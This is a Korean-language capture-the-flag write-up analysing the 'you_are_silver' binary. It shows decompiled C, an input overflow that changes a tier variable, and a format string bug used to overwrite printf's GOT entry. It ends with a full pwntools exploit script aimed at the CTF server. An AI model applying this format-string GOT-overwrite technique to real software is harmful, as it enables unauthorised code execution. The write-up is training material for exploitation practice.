문제 파일을 다운로드 받으면 ELF 실행파일 하나가 존재하는 것을 확인할 수 있었습니다. 프로그램을 간단하게 실행해보면 이름의 입력을 요구하고 임의의 값을 입력할 경우 이를 다시 출력 후 Segmentation Fault가 발생하며 종료됩니다.
root@e60a28c09eb6:~/hackctf/silver# ./you_are_silver
Please enter your name
Hi
Hi
You are silver.
Segmentation fault
Ghidra를 이용한 decompile 결과를 확인해보면 다음과 같이 구성된 main을 확인할 수 있었습니다.
undefined8 main(void)
{
char local_38 [40];
int local_10;
undefined4 local_c;
setvbuf(stdout,(char *)0x0,2,0);
local_c = 0x32;
puts("Please enter your name");
fgets(local_38,0x2e,stdin);
printf(local_38);
local_10 = get_tier(local_c);
printf((char *)(long)local_10);
return 0;
}
main에서 호출하는 get_tier()
함수 외에 play_game()
함수 또한 존재하였습니다. 또한 segfault의 원인으로 마지막의 printf에서 초기화되지 않은 int 변수를 인자로 사용하는 것을 추측할 수 있었습니다.
먼저 get_tier()
함수의 경우 아래와 같이 구현되어 있었습니다.
void get_tier(int param_1)
{
if (param_1 < 0x33) {
puts("\nYou are silver.");
}
else {
if ((param_1 < 0x42) && (0x32 < param_1)) {
puts("\nYou are platinum.");
}
else {
if ((param_1 < 0x4c) && (0x41 < param_1)) {
puts("\nYou are master.");
}
else {
if (0x4b < param_1) {
puts("\nYou are challenger.");
}
}
}
}
return;
}
get_tier
함수의 경우 'local_c'의 값을 비교하여 조건에 만족할 경우 특정 값을 반환하는 것으로 보였습니다. 기본적으로 0x32로 초기화 되었기에 "You are silver" 라는 문구를 반환하였으며, fgets에서 overflow가 발생하는 것을 통해 local_c 값을 조작할 수 있었습니다.
root@e60a28c09eb6:~/hackctf/silver# ./you_are_silver
Please enter your name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ
You are challenger.
Segmentation fault
flag를 얻기 위해서는 play_game()
함수에서 tier가 challenger일 경우 cat ./flag
명령을 실행해주는 것을 보아 이를 이용할 필요가 있어 보였습니다.
void play_game(int param_1)
{
if (param_1 == 2) {
puts("platinum can\'t play game. :(");
/* WARNING: Subroutine does not return */
exit(0);
}
if (param_1 < 3) {
if (param_1 == 1) {
puts("SILVER can\'t play game.");
/* WARNING: Subroutine does not return */
exit(0);
}
}
else {
if (param_1 == 3) {
puts("master can\'t play game. Sorry! :(");
/* WARNING: Subroutine does not return */
exit(0);
}
if (param_1 == 4) {
puts("Challenger. Take this first!");
system("cat ./flag");
}
}
puts("Who are you? get out!");
/* WARNING: Subroutine does not return */
exit(0);
}
paly_game()
함수를 호출하기 위한 방법을 생각해보던 중 마지막 printf의 GOT 주소를 play_game()
의 주소로 변조할 경우 최종적으로 play_game(local_10)
형태로 호출 가능한 점을 확인할 수 있었습니다.
문제는 fgets를 통해서 ret 주소를 조작할 정도로 입력하기에는 size가 부족하였기에 이를 어떤 식으로 조작할지가 관건이었는데, 입력값을 다시 출력하는 과정에서 Format string bug가 발생한다는 점을 알 수 있었습니다.
FSB를 이용할 경우 GOT Overwrite를 진행할 수 있었지만 몇 가지로 인해 exploit에는 성공하지 못했습니다. 아래는 이번 문제를 통해 새로 알게된 내용들이며 자세한 설명은 별도의 게시글로 작성할 예정입니다.
최종적으로 사용한 exploit은 아래와 같습니다.
#!/usr/bin/python3
from pwn import *
#p = process("./you_are_silver")
p = remote("ctf.j0n9hyun.xyz", 3022)
context.terminal = '/bin/bash'
#context.log_level = 'debug'
got = 0x601028 # printf@got.plt
# Must $rbp-0x4 is greater 0x4b Like 'Z'
fsb = b"%4196055c%8$lnPP"
fsb += p64(got)
padding = b"A"*(44-len(fsb))
payload = fsb
payload += padding
payload += b"Z"
p.recvline()
p.sendline(payload)
p.recvline()
p.recvline()
p.recvline()
log.info(p.recvline().decode('utf-8'))